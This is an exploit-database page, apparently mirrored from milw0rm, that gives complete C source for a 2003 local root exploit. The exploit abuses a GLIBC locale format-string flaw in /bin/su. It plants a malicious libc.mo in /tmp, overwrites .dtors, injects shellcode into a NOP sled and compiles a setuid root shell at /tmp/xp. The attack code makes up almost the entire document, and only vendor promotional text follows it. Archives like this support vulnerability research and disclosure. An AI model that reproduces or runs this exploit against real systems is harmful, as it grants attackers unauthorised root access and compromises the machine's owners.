Lucene search
K

GLIBC locale - Format Strings

🗓️ 15 Jan 2003 00:00:00Reported by logikalType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 41 Views

GLIBC locale exploit method using format strings to execute shellcode as root user.

Code
/* su.c by xp, modified by logikal@efnet - tested on redhat 5 -> 7 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <getopt.h>
#include <dirent.h>

char *shellcode =
"\x31\xc0\x83\xc0\x17\x31\xdb\xcd\x80\xeb"
"\x30\x5f\x31\xc9\x88\x4f\x17\x88\x4f\x1a"
"\x8d\x5f\x10\x89\x1f\x8d\x47\x18\x89\x47"
"\x04\x8d\x47\x1b\x89\x47\x08\x31\xc0\x89"
"\x47\x0c\x8d\x0f\x8d\x57\x0c\x83\xc0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xcb\xff\xff\xff\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30\x2d\x63"
"\x30"
"chown root /tmp/xp;chmod 4777 /tmp/xp";

char *LC_MESSAGES = "/tmp/LC_MESSAGES";
int NOP_LEN = 12000;

char *msgfmt = "/usr/bin/msgfmt";
char *objdump = "/usr/bin/objdump";
char *language = NULL;

char *make_format_string(unsigned long, int, int);
unsigned long get_dtors_addr();
char *make_ret_str(unsigned long, int);
void calculate_eat_space(int *, int *);
void checkfor(char*);
void make_suid_shell();
void search_valid_language();

int main(int argc, char **argv)
{
  char execbuf[1024];
  unsigned long dtors_addr = 0xAABBCCDD;
  unsigned long sh_addr = 0xBFFFFFFF;
  FILE *f;
  char *env[3];
  char *args[6];
  int eat = 0, pad = 0, fd;
  char *nop_env;
  int offset = 5000;
  struct stat st;
  int pid, c;
  char randfile[1024];
  char *args2[2], opt;

  printf("su exploit by XP <[email protected]>\n");
  printf("Enjoy!\n\n");

  while ((opt = getopt(argc, argv, "o:n:m:O:e:l:")) != EOF)
    switch(opt) {
    case 'o':
      offset = atoi(optarg);
      break;
    case 'n':
      NOP_LEN = atoi(optarg);
      break;
    case 'm':
      msgfmt = strdup(optarg);
      break;
    case 'O':
      objdump = strdup(optarg);
      break;
    case 'e':
      sscanf(optarg, "%i:%i", &eat, &pad);
      break;
    case 'l':
      language = (char*) malloc(40 + strlen(optarg));
      if (!language) {
printf("malloc failed\naborting\n");
exit(0);
      }
      memset(language, 0, 40 + strlen(optarg));
      sprintf(language, "LANGUAGE=%s/../../../../../../tmp", optarg);
      break;
    default:
      exit(0);
    }

  printf("Phase 1. Checking paths and write permisions\n");
  printf(" Checking for %s...", msgfmt);
  checkfor(msgfmt);
  printf(" Checking for %s...", objdump);
  checkfor(objdump);

  printf(" Checking write permisions on /tmp...");
  if (stat("/tmp", &st) < 0) {
    printf("failed. cannot stat /tmp\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IWOTH)) {
    printf("failed. /tmp it's not +w\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf(" Checking read permisions on /bin/su...");
  if (stat("/bin/su", &st) < 0) {
    printf("failed. cannot stat /bin/su\naborting\n");
    exit(0);
  }

  if (!(st.st_mode & S_IROTH)) {
    printf("failed. /bin/su it's not +r\naborting\n");
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  if (!language) {
    printf(" Checking for a valid language...");
    search_valid_language();
    printf("Ok\n");
  }

  printf(" Checking that %s does not exist...", LC_MESSAGES);
  if (stat(LC_MESSAGES, &st) >= 0) {
    printf("failed. %s exists\naborting\n", LC_MESSAGES);
    exit(0);
  }
  printf("Ok\n");
  fflush(stdout);

  printf("Phase 2. Calculating eat and pad values\n ");
  srand(time(NULL));

  if (eat || pad) printf("skkiping, values set by user to eat = %i and
pad = %i\n", eat, pad);
  else {
    calculate_eat_space(&eat, &pad);
    printf("done\n eat = %i and pad = %i\n", eat, pad);
  }
  fflush(stdout);

  sh_addr -= offset;

  printf("Phase 3. Creating evil libc.mo and setting enviroment
vars\n");
  fflush(stdout);

  mkdir(LC_MESSAGES, 0755);
  chdir(LC_MESSAGES);

  f = fopen("libc.po", "w+");
  if (!f) {
    perror("fopen()");
    exit(0);
  }
  fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
  fprintf(f,"msgstr \"%s\\n\"", make_format_string(sh_addr, eat, 0));
  fclose(f);

  sprintf(execbuf, "%s libc.po -o libc.mo; chmod 777 libc.mo", msgfmt);
  system(execbuf);

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  env[0] = language;
  env[1] = NULL;

  printf("Phase 4. Getting address of .dtors section of /bin/su\n ");
  dtors_addr = get_dtors_addr();
  printf("done\n .dtors is at 0x%08x\n", dtors_addr);
  fflush(stdout);

  printf("Phase 5. Compiling suid shell\n");
  fflush(stdout);

  make_suid_shell();

  printf("Phase 6. Executing /bin/su\n");
  fflush(stdout);

  args[0] = "/bin/su";
  args[1] = "-";
  args[2] = make_ret_str(dtors_addr, pad);
  args[3] = "-w";
  args[4] = nop_env;
  args[5] = NULL;

  sprintf(randfile, "/tmp/tmprand%i", rand());

  if (!(pid = fork())) {
    close(1);
    close(2);
    fd = open(randfile, O_CREAT | O_RDWR);
    dup2(fd, 1);
    dup2(fd, 2);
    execve(args[0], args, env);
    printf("failed to exec /bin/su\n"); exit(0);
  }

  if (pid < 0) {
    perror("fork()");
    exit(0);
  }

  waitpid(pid, &c, 0);

  unlink(randfile);

  stat("/tmp/xp", &st);
  if (!(S_ISUID & st.st_mode)) {
    printf("failed to put mode 4777 to /tmp/xp\naborting\n");
    exit(0);
  }

  printf(" - Entering rootshell ;-) -\n");
  fflush(stdout);

  if (!(pid = fork())) {
    args2[0] = "/tmp/xp";
    args2[1] = NULL;
    execve(args2[0], args2, NULL);
    printf("failed to exec /tmp/xp\n");
    exit(0);
  }

  if (pid < 0) {
    perror("fork()");
    exit(0);
  }

  waitpid(pid, &c, 0);

  printf("Phase 7. Cleaning enviroment\n");
  sprintf(execbuf, "rm -rf %s /tmp/xp", LC_MESSAGES);
  system(execbuf);
}

char ret_make_format[0xffff];

char *make_format_string(unsigned long sh_addr, int eat, int test)
{
  char *ret = ret_make_format;
  int c, waste;
  int hi, lo;

  memset(ret, 0, 0xffff);

  for (c = 0; c < eat; c++) strcat(ret, "%8x");

  waste = 8 * eat;

  hi = (sh_addr & 0xffff0000) >> 16;
  lo = (sh_addr & 0xffff) - hi;
  if (!test) {
    sprintf(&ret[strlen(ret)], "%%0%ux%%hn", hi-waste);
    sprintf(&ret[strlen(ret)], "%%0%ux%%hn", lo);
  }
  else strcat(ret, "%8x *0x%08x* %8x *0x%08x*");
  return ret;
}

unsigned long get_dtors_addr()
{
  char exec_buf[1024];
  char file[128];
  char buf[1024], sect[1024];
  FILE *f;
  unsigned long ret = 0, tmp1, tmp2, tmp3;

  sprintf(file, "/tmp/tmprand%i", rand());
  sprintf(exec_buf, "%s -h /bin/su > %s", objdump, file);

  system(exec_buf);

  f = fopen(file, "r");
  if (!f) {
    perror("fopen()");
    exit(0);
  }

  while (!feof(f)) {
    fgets(buf, 1024, f);
    sscanf(buf, " %i .%s %x %x \n", &tmp1, sect, &tmp2, &tmp3);
    printf("."); fflush(stdout);
    if (strcmp(sect, "dtors")) continue;
    ret = tmp3;
    break;
  }

  unlink(file);

  if (!ret) {
    printf("error getting the address of .dtors\naborting");
    exit(0);
  }

  return ret+4;
}

char ret_make_ret_str[0xffff];

char *make_ret_str(unsigned long dtors_addr, int pad)
{
  char *ret = ret_make_ret_str, *ptr2;
  unsigned long *ptr = (unsigned long*) ret;
  int c;

  memset(ret, 0, 0xffff);

  *ptr = dtors_addr+2;
  *(ptr+1) = 0xAABBCCDD;
  *(ptr+2) = dtors_addr;

  ptr2 = &ret[strlen(ret)];
  while (pad--)
    *(ptr2++) = 0xaa;

  return ret;
}

void calculate_eat_space(int *eatr, int *padr)
{
  int eat = 0, pad = 0;
  char tmpfile[128];
  FILE *f;
  char execbuf[1024];
  int fds[2], tmpfd;
  unsigned long test_value = 0xAABBCCDD;
  char *nop_env;
  char *env[2];
  char *args[6];
  char buf[1024];
  int l, pid;
  struct stat st;
  char *readbuf = NULL, *token;
  unsigned long t1, t2;

  tmpfile[0] = '\0';

  nop_env = (char*) malloc(NOP_LEN + strlen(shellcode) + 1);
  if (!nop_env) {
    printf("malloc failed\naborting\n");
    exit(0);
  }
  memset(nop_env, 0x90, NOP_LEN + strlen(shellcode) + 1);
  sprintf(&nop_env[NOP_LEN], "%s", shellcode);

  for (eat = 50; eat < 200; eat++) {
    for (pad = 0; pad < 4; pad++) {

      if (tmpfile[0]) unlink(tmpfile);

      chdir("/");

      sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
      system(execbuf);

      mkdir(LC_MESSAGES, 0755);
      chdir(LC_MESSAGES);

      f = fopen("libc.po", "w+");
      if (!f) {
perror("fopen()");
exit(0);
      }

      fprintf(f,"msgid \"%%s: invalid option -- %%c\\n\"\n");
      fprintf(f,"msgstr \"%s\\n\"", make_format_string(0xbfffffbb, eat,
1));
      fclose(f);

      sprintf(execbuf, "chmod 777 libc.po; %s libc.po -o libc.mo",
msgfmt);
      system(execbuf);

      pipe(&fds);

      if (!(pid = fork())) {

close(fds[0]);
close(1);
close(2);

dup2(fds[1], 1);
dup2(fds[1], 2);

env[0] = language;
env[1] = NULL;

args[0] = "/bin/su";
args[1] = "-";
args[2] = make_ret_str(test_value, pad);
args[3] = "-w";
args[4] = nop_env;
args[5] = NULL;

execve(args[0], args, env);
      }

      if (pid < 0) {
perror("fork()");
exit(0);
      }

      close(fds[1]);

      sprintf(tmpfile, "/tmp/tmprand%i", rand());
      tmpfd = open(tmpfile, O_RDWR | O_CREAT);
      if (tmpfd < 0) {
perror("open()");
exit(0);
      }
      while ((l = read(fds[0], buf, 1024)) > 0)
write(tmpfd, buf, l);
      close(tmpfd);

      waitpid(pid, &l, 0);

      stat(tmpfile, &st);

      chmod(tmpfile, 0777);

      f = fopen(tmpfile, "r");
      if (!f) {
perror("fopen()");
exit(0);
      }

      if (readbuf) free(readbuf);
      readbuf = (char*) malloc(st.st_size);
      if (!readbuf) {
printf("malloc failed\naborting\n");
exit(0);
      }

      memset(readbuf, 0, st.st_size);

      fread(readbuf, 1, st.st_size, f);
      fclose(f);

      token = strtok(readbuf, "*");
      if (!token) continue;
      token = strtok(NULL, "*");
      if (!token) continue;

      t1 = strtoul(token, NULL, 16);
      token = strtok(NULL, "*");
      if (!token) continue;
      token = strtok(NULL, "*");
      if (!token) continue;
      t2 = strtoul(token, NULL, 16);

      if (t2 == test_value)
if (t1 == (test_value+2)) {
  *eatr = eat;
  *padr = pad;
  sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
  system(execbuf);
  if (tmpfile[0]) unlink(tmpfile);
  return;
}

      // sleep(10);
    }
    printf(".");
    fflush(stdout);
  }

  if (tmpfile[0]) unlink(tmpfile);
  sprintf(execbuf, "rm -rf %s", LC_MESSAGES);
  system(execbuf);

  printf("failed to calculate eat and pad values. glibc patched or
invalid language?\naborting\n");
  exit(0);
}

void checkfor(char *p)
{
  int fd;
  fd = open(p, O_RDONLY);
  if (fd < 0) {
    printf("failed\naborting\n");
    exit(0);
  }
  close(fd);
  printf("Ok\n");
  fflush(stdout);
}

void make_suid_shell()
{
  FILE *f;
  char execbuf[1024];

  f = fopen("/tmp/kidd0.c", "w");
  if (!f) {
    printf(" failed to create /tmp/kidd0.c\naborting\n");
    exit(0);
  }

  fprintf(f, "int main() { setuid(0); setgid(0); system(\"/bin/sh\");
}");
  fclose(f);

  sprintf(execbuf, "gcc /tmp/kidd0.c -o /tmp/xp");
  system(execbuf);

  sprintf(execbuf, "rm -f /tmp/kidd0.c");
  system(execbuf);

  f = fopen("/tmp/xp", "r");
  if (!f) {
    printf(" failed to compile /tmp/kidd0.c\naborting\n");
    exit(0);
  }
  fclose(f);

  printf(" /tmp/xp created Ok\n");
  fflush(stdout);
}

void search_valid_language()
{
  DIR *locale;
  struct dirent *dentry;

  locale = opendir("/usr/share/locale");
  if (!locale) {
    perror("failed to opendir /usr/share/locale");
    printf("aborting\n");
    exit(0);
  }

  while (dentry = readdir(locale)) {

    if (!strchr(dentry->d_name, '_')) continue;

    language = (char*) malloc(40 + strlen(dentry->d_name));
    if (!language) {
      printf("malloc failed\naborting\n");
      exit(0);
    }
    memset(language, 0, 40 + strlen(dentry->d_name));
    sprintf(language, "LANGUAGE=%s/../../../../../../tmp",dentry->d_name);
    closedir(locale);
    printf(" [using %s] ", dentry->d_name);
    return;
  }

  printf("failed to find a valid language\naborting\n");
  exit(0);
}


// milw0rm.com [2003-01-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation